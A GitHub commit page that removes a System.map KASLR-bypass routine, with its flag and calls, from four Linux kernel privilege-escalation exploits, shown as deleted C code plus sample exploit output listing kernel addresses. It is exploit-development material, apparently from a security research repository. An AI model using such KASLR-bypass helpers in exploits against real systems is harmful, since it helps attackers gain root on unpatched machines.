Skip to content

Commit

Permalink
Remove System.map KASLR bypass
Browse files Browse the repository at this point in the history
  • Loading branch information
@bcoles
bcoles committed Dec 29, 2019
1 parent ca9bc79 commit 9611921
Show file tree
Hide file tree
Showing 4 changed files with 0 additions and 196 deletions.
47 changes: 0 additions & 47 deletions CVE-2016-8655/chocobo_root.c
View file
Original file line number Diff line number Diff line change
Expand Up @@ -117,7 +117,6 @@ Updated by <[email protected]>
# define KERNEL_BASE_MIN 0xffffffff00000000ul
# define KERNEL_BASE_MAX 0xffffffffff000000ul
# define ENABLE_KASLR_BYPASS_KALLSYMS 1
# define ENABLE_KASLR_BYPASS_SYSMAP 1
# define ENABLE_KASLR_BYPASS_SYSLOG 1
# define ENABLE_KASLR_BYPASS_MINCORE 1
#endif
Expand Down Expand Up @@ -808,47 +807,6 @@ unsigned long get_kernel_addr_kallsyms() {
}
#endif

// * * * * * * * * * * * * * * System.map KASLR bypass * * * * * * * * * * * * * *
// https://grsecurity.net/~spender/exploits/exploit.txt

#if ENABLE_KASLR_BYPASS_SYSMAP
unsigned long get_kernel_addr_sysmap() {
FILE *f;
unsigned long addr = 0;
char path[512] = "/boot/System.map-";

struct utsname u;
u = get_kernel_version();
strcat(path, u.release);
dprintf("[.] trying %s...\n", path);
f = fopen(path, "r");
if (f == NULL) {
dprintf("[-] open/read(%s)\n", path);
return 0;
}

char dummy;
char sname[256];
char* name = "startup_64";
int ret = 0;
while (ret != EOF) {
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fclose(f);
return addr;
}
}

fclose(f);
dprintf("[-] kernel base not found in %s\n", path);
return 0;
}
#endif

// * * * * * * * * * * * * * * mincore KASLR bypass * * * * * * * * * * * * * *
// https://bugs.chromium.org/p/project-zero/issues/detail?id=1431

Expand Down Expand Up @@ -906,11 +864,6 @@ unsigned long get_kernel_addr() {
if (addr) return addr;
#endif

#if ENABLE_KASLR_BYPASS_SYSMAP
addr = get_kernel_addr_sysmap();
if (addr) return addr;
#endif

#if ENABLE_KASLR_BYPASS_SYSLOG
addr = get_kernel_addr_syslog();
if (addr) return addr;
Expand Down
49 changes: 0 additions & 49 deletions CVE-2017-1000112/poc.c
View file
Original file line number Diff line number Diff line change
Expand Up @@ -23,8 +23,6 @@
// [~] done, namespace sandbox set up
// [.] KASLR bypass enabled, getting kernel base address...
// [.] trying /proc/kallsyms...
// [.] trying /boot/System.map-4.8.0-58-generic...
// [-] open/read(/boot/System.map-4.8.0-58-generic): Permission denied
// [.] trying syslog...
// [~] done, kernel base: ffffffffa7e00000
// [.] commit_creds: ffffffffa7ea5d20
Expand Down Expand Up @@ -89,7 +87,6 @@
# define KERNEL_BASE_MIN 0xffffffff00000000ul
# define KERNEL_BASE_MAX 0xffffffffff000000ul
# define ENABLE_KASLR_BYPASS_KALLSYMS 1
# define ENABLE_KASLR_BYPASS_SYSMAP 1
# define ENABLE_KASLR_BYPASS_SYSLOG 1
# define ENABLE_KASLR_BYPASS_PERF 1
# define ENABLE_KASLR_BYPASS_MINCORE 1
Expand Down Expand Up @@ -700,47 +697,6 @@ unsigned long get_kernel_addr_kallsyms() {
}
#endif

// * * * * * * * * * * * * * * System.map KASLR bypass * * * * * * * * * * * * * *
// https://grsecurity.net/~spender/exploits/exploit.txt

#if ENABLE_KASLR_BYPASS_SYSMAP
unsigned long get_kernel_addr_sysmap() {
FILE *f;
unsigned long addr = 0;
char path[512] = "/boot/System.map-";

struct utsname u;
u = get_kernel_version();
strcat(path, u.release);
dprintf("[.] trying %s...\n", path);
f = fopen(path, "r");
if (f == NULL) {
dprintf("[-] open/read(%s): %m\n", path);
return 0;
}

char dummy;
char sname[256];
char* name = "startup_64";
int ret = 0;
while (ret != EOF) {
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fclose(f);
return addr;
}
}

fclose(f);
dprintf("[-] kernel base not found in %s\n", path);
return 0;
}
#endif

// * * * * * * * * * * * perf_event_open KASLR bypass * * * * * * * * * * *
// https://blog.lizzie.io/kaslr-and-perf.html

Expand Down Expand Up @@ -927,11 +883,6 @@ unsigned long get_kernel_addr() {
if (addr) return addr;
#endif

#if ENABLE_KASLR_BYPASS_SYSMAP
addr = get_kernel_addr_sysmap();
if (addr) return addr;
#endif

#if ENABLE_KASLR_BYPASS_SYSLOG
addr = get_kernel_addr_syslog();
if (addr) return addr;
Expand Down
49 changes: 0 additions & 49 deletions CVE-2017-7308/poc.c
View file
Original file line number Diff line number Diff line change
Expand Up @@ -19,8 +19,6 @@
// [~] done, namespace sandbox set up
// [.] KASLR bypass enabled, getting kernel base address
// [.] trying /proc/kallsyms...
// [.] trying /boot/System.map-4.8.0-45-lowlatency...
// [-] open/read(/boot/System.map-4.8.0-45-lowlatency): Permission denied
// [.] trying syslog...
// [.] done, kernel text: ffffffff97400000
// [.] commit_creds: ffffffff974a6ec0
Expand Down Expand Up @@ -96,7 +94,6 @@
# define KERNEL_BASE_MIN 0xffffffff00000000ul
# define KERNEL_BASE_MAX 0xffffffffff000000ul
# define ENABLE_KASLR_BYPASS_KALLSYMS 1
# define ENABLE_KASLR_BYPASS_SYSMAP 1
# define ENABLE_KASLR_BYPASS_SYSLOG 1
#endif

Expand Down Expand Up @@ -591,47 +588,6 @@ unsigned long get_kernel_addr_kallsyms() {
}
#endif

// * * * * * * * * * * * * * * System.map KASLR bypass * * * * * * * * * * * * * *
// https://grsecurity.net/~spender/exploits/exploit.txt

#if ENABLE_KASLR_BYPASS_SYSMAP
unsigned long get_kernel_addr_sysmap() {
FILE *f;
unsigned long addr = 0;
char path[512] = "/boot/System.map-";

struct utsname u;
u = get_kernel_version();
strcat(path, u.release);
dprintf("[.] trying %s...\n", path);
f = fopen(path, "r");
if (f == NULL) {
dprintf("[-] open/read(%s): %m\n", path);
return 0;
}

char dummy;
char sname[256];
char* name = "startup_64";
int ret = 0;
while (ret != EOF) {
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fclose(f);
return addr;
}
}

fclose(f);
dprintf("[-] kernel base not found in %s\n", path);
return 0;
}
#endif

// * * * * * * * * * * * * * * KASLR bypasses * * * * * * * * * * * * * * * *

unsigned long get_kernel_addr() {
Expand All @@ -642,11 +598,6 @@ unsigned long get_kernel_addr() {
if (addr) return addr;
#endif

#if ENABLE_KASLR_BYPASS_SYSMAP
addr = get_kernel_addr_sysmap();
if (addr) return addr;
#endif

#if ENABLE_KASLR_BYPASS_SYSLOG
addr = get_kernel_addr_syslog_xenial();
if (addr) return addr;
Expand Down
51 changes: 0 additions & 51 deletions CVE-2018-5333/cve-2018-5333.c
View file
Original file line number Diff line number Diff line change
Expand Up @@ -36,8 +36,6 @@
// - https://bugs.chromium.org/p/project-zero/issues/detail?id=1431
// - spender's /proc/kallsyms KASLR bypass (requires kernel.kptr_restrict=0)
// - https://grsecurity.net/~spender/exploits/exploit.txt
// - spender's /boot/System.map KASLR bypass (requires readable System.map file)
// - https://grsecurity.net/~spender/exploits/exploit.txt
// - xairy's syslog KASLR bypass (requires kernel.dmesg_restrict=0)
// - https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c
// - lizzie's perf_event_open KASLR bypass (requires kernel.perf_event_paranoid<2)
Expand Down Expand Up @@ -65,8 +63,6 @@
// [.] KASLR bypass enabled, getting kernel base address
// [.] trying /proc/kallsyms...
// [-] kernel base not found in /proc/kallsyms
// [.] trying /boot/System.map-4.4.0-116-generic...
// [-] open/read(/boot/System.map-4.4.0-116-generic): Permission denied
// [.] trying syslog...
// [-] kernel base not found in syslog
// [.] trying perf_event_open sampling...
Expand Down Expand Up @@ -119,7 +115,6 @@
# define KERNEL_BASE_MIN 0xffffffff00000000ul
# define KERNEL_BASE_MAX 0xffffffffff000000ul
# define ENABLE_KASLR_BYPASS_KALLSYMS 1
# define ENABLE_KASLR_BYPASS_SYSMAP 1
# define ENABLE_KASLR_BYPASS_SYSLOG 1
# define ENABLE_KASLR_BYPASS_PERF 1
# define ENABLE_KASLR_BYPASS_MINCORE 1
Expand Down Expand Up @@ -486,47 +481,6 @@ unsigned long get_kernel_addr_kallsyms() {
}
#endif

// * * * * * * * * * * * * * * System.map KASLR bypass * * * * * * * * * * * * * *
// https://grsecurity.net/~spender/exploits/exploit.txt

#if ENABLE_KASLR_BYPASS_SYSMAP
unsigned long get_kernel_addr_sysmap() {
FILE *f;
unsigned long addr = 0;
char path[512] = "/boot/System.map-";

struct utsname u;
u = get_kernel_version();
strcat(path, u.release);
dprintf("[.] trying %s...\n", path);
f = fopen(path, "r");
if (f == NULL) {
dprintf("[-] open/read(%s): %m\n", path);
return 0;
}

char dummy;
char sname[256];
char* name = "startup_64";
int ret = 0;
while (ret != EOF) {
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fclose(f);
return addr;
}
}

fclose(f);
dprintf("[-] kernel base not found in %s\n", path);
return 0;
}
#endif

// * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * *
// https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c

Expand Down Expand Up @@ -786,11 +740,6 @@ unsigned long get_kernel_addr() {
if (addr) return addr;
#endif

#if ENABLE_KASLR_BYPASS_SYSMAP
addr = get_kernel_addr_sysmap();
if (addr) return addr;
#endif

#if ENABLE_KASLR_BYPASS_SYSLOG
addr = get_kernel_addr_syslog();
if (addr) return addr;
Expand Down

0 comments on commit 9611921

Please sign in to comment.